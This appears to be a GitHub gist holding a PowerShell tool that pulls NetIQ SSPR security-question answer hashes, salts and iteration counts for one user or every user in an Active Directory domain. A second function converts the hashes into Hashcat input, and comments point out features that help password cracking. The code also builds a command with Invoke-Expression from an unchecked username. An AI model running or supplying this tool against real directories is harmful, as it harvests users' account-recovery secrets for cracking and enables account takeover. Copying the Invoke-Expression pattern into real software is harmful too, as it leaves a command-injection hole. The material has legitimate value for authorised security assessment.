Skip to content

Instantly share code, notes, and snippets.

@crypticgeek
Last active January 14, 2016 22:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save crypticgeek/28ee0d0cdbb8b38092ab to your computer and use it in GitHub Desktop.
Save crypticgeek/28ee0d0cdbb8b38092ab to your computer and use it in GitHub Desktop.
PS Script To Dump NetIQ SSPR attributes (ie: hashes) from active directory
function Get-pwmResponseSet
{
<#
.SYNOPSIS
This function retrieves and decodes the pwmResponseSet attribute for user(s) in Active Directory
.DESCRIPTION
NetIQ Self Service Password Reset is a user self service password application. Users configure challenege/response
questions and answers then later use them to reset their forgotton password. SSPR can be configured to store the
user's config as part of the Active Directory schema. The schema is extended and a pwmResponseSet attribute is
created and added to user accounts. The attribute is ASCII bytes encoding XML containing the challenge questions
and answers. SSPR stores answers as plain text or hashed using PBKDF2WithHmacSHA1, SHA1, Salted SHA1, or bcrypt.
This script has only been tested with Salted SHA1 as that is in use in environment its author has access to.
.EXAMPLE
Get-pwmResponseSet -User jdoe
MinLen CaseInsensitive AnswerText Format Challenge Salt Iterations MaxLen User
------ --------------- ---------- ------ --------- ---- ---------- ------ ----
4 true B:FxHUyOPwsr... SHA1_SALT What was you... MBS9ZgZ5r7IG... 100000 200 jdoe
4 true B:ozKD1xwuyv... SHA1_SALT What is your... CxCpGqosk9Pk... 100000 200 jdoe
4 true B:pC4sEaFy9l... SHA1_SALT Who is your ... pGsXpx5ZyS5K... 100000 200 jdoe
4 true B:cgMui+ZJ+L... SHA1_SALT What is the ... Q5HCvD8ms3Lg... 100000 200 jdoe
This command gets the pwmResponseSet for a user, if it exists, and prints it to the screen
.EXAMPLE
Get-AdUser -Filter "pwmResponseSet -like '*'" | Select 'SamAccountName' | Get-pwmResponseSet | Export-Csv c:\pwm.csv
Dump all pwmResponseSets in the domain to a CSV file
.PARAMETER User
The user name to query.
.PARAMETER Domain
The domain if different from the current user's domain
.PARAMETER Server
The domain controller to query
.LINK
https://www.netiq.com/products/self-service-password-reset/
.LINK
https://www.netiq.com/documentation/self-service-password-reset-33/pdfdoc/adminguide/adminguide.pdf
#>
[CmdletBinding()]
param
(
<#
TODO Pipelining directly from get-aduser isn't working
Get-pwmResponseSet : Cannot bind argument to parameter 'user' because it is an empty array
Do this instead:
Get-AdUser -Paramaters 'whatever' | Select 'SamAccountName' | Get-pwmResponseSet
#>
[Parameter(Mandatory=$True,
ValueFromPipeline=$True,
ValueFromPipelineByPropertyName=$True,
HelpMessage='User?')]
[Alias('DistinguishedName','SamAccountName','UserName')]
[string[]]$user,
[Parameter(Mandatory=$False)]
[string]$server = "",
[Parameter(Mandatory=$False)]
[Alias('DomainName')]
[string]$domain = ""
)
begin
{
Write-Verbose "Starting up..."
# set arguments for Get-ADUser
$GetADUserArgs = "-Properties pwmResponseSet"
if ($server -ne "") { $GetADUserArgs += " -Server " + $server }
if ($domain -ne "") { $GetADUserArgs += $GetADUserArgs + " -DomainName " + $domain }
# place to store our custom powershell objects for output later on
$output = @()
}
process
{
foreach ($u in $user)
{
Write-Verbose "User $u"
# get the ASCII encoded pwmResponseSet (this is a collection of bytes in an object
# of type Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)
##TODO## Fix issue with usernames that contain characters such as ' that terminate the string
$rsASCII = (Invoke-Expression "Get-ADUser $GetADUserArgs -Identity $u").pwmResponseSet
if(!$rsASCII) {
Write-Error "No pwmResponseSet for $u, skipping"
continue
}
# this just pretty prints the bytes so we can see what it got
#New-Object PSObject -Property @{ Object=$rsASCII} | Out-String | Write-Verbose
# decode the ASCII back to a string containing a header of some kind (9 chars) + XML
$rsString = [System.Text.Encoding]::Ascii.GetString($rsASCII[0])
# cast it to XML, we must lob off the first 9 chars which is header info of some kind
$rsXML = [xml]$rsString.Substring(9)
# dump the XML string for verbose output
Write-Verbose $rsXML.OuterXml.ToString()
# The XML consists of ResponseSet nodes (I've only seen 1 responseSet per user) containing one or more responses
# which in turn contain answers. Here we use XPATH to iterate through each ResponseSet and their responses.
$responseSetNodes = $rsXML.SelectNodes("//ResponseSet")
foreach ($rsNode in $responseSetNodes)
{
# are the user's responses in this set case insensitive?
# this is common and can help guide password cracking as the response is lowercased before hashing
$caseInsensitive = $rsNode.caseInsensitive
# get all the user's responses and store them in a powershell object
$responseNodes = $rsNode.SelectNodes("//response")
foreach ($response in $responseNodes)
{
$props = @{'User'=$u;
'CaseInsensitive'=$caseInsensitive;
'Challenge'=$response.challenge;
'MinLen'=$response.minLength;
'MaxLen'=$response.maxLength;
'Salt'=$response.answer.salt;
'Format'=$response.answer.format;
'Iterations'=$response.answer.hashcount;
# The answer is stored in the #text tag as a base64 string
# with a 2 character header (atleast with salted SHA1)
'AnswerText'=$response.answer.'#text'}
$object = New-Object -TypeName 'PSObject' -Property $props
$object.psobject.TypeNames.Insert(0,"SSPR.pwmResponseSet")
$output += $object
}
}
}
}
End
{
Write-Verbose "Processing ended, output results"
Write-Output $output
}
}
function Convert-pwm2Hashcat
{
<#
.SYNOPSIS
This function converts a pwmResponseSet object into a string for password crackers such as hashcat
.DESCRIPTION
SSPR.pwmResponseSet is a custom PSObject created by Get-pwmResponseSet that contains NetIQ SSPR pwmResponseSet information.
This helper function converts these objects into a string consumable by a password cracking application such as Hashcat
.EXAMPLE
Get-pwmResponseSet -User jdoe | Convert-pwm2hashcat
.PARAMETER pwmResponseSet
The pwmResponseSet object to convert
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True,
ValueFromPipeline=$True)]
[ValidateScript({$_.PSObject.Typenames[0] -eq "SSPR.pwmResponseSet"})]
$pwmResponseSet
)
begin
{
Write-Verbose "Starting up..."
# place to store our output for later on
$output = @()
}
process
{
foreach ($rs in $pwmResponseSet)
{
Write-Verbose "Processing $rs.User $rs.challenge"
# build a string like $Format$Iterations$Salt$Base64
$sep = "$"
$hash = ""
switch($rs.Format)
{
"SHA1_SALT" { $hash += $sep + "SHA" + $sep + $rs.Iterations + $sep + $rs.Salt + $sep + $rs.AnswerText.Substring(2) }
## TODO ## investigate what other formats look like to correctly handle those
default {
Write-Error "Unknown Format in pwmResponseSet, skipping"
Continue
}
}
$output += $hash
}
}
End
{
Write-Verbose "Processing ended, output results"
Write-Output $output
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment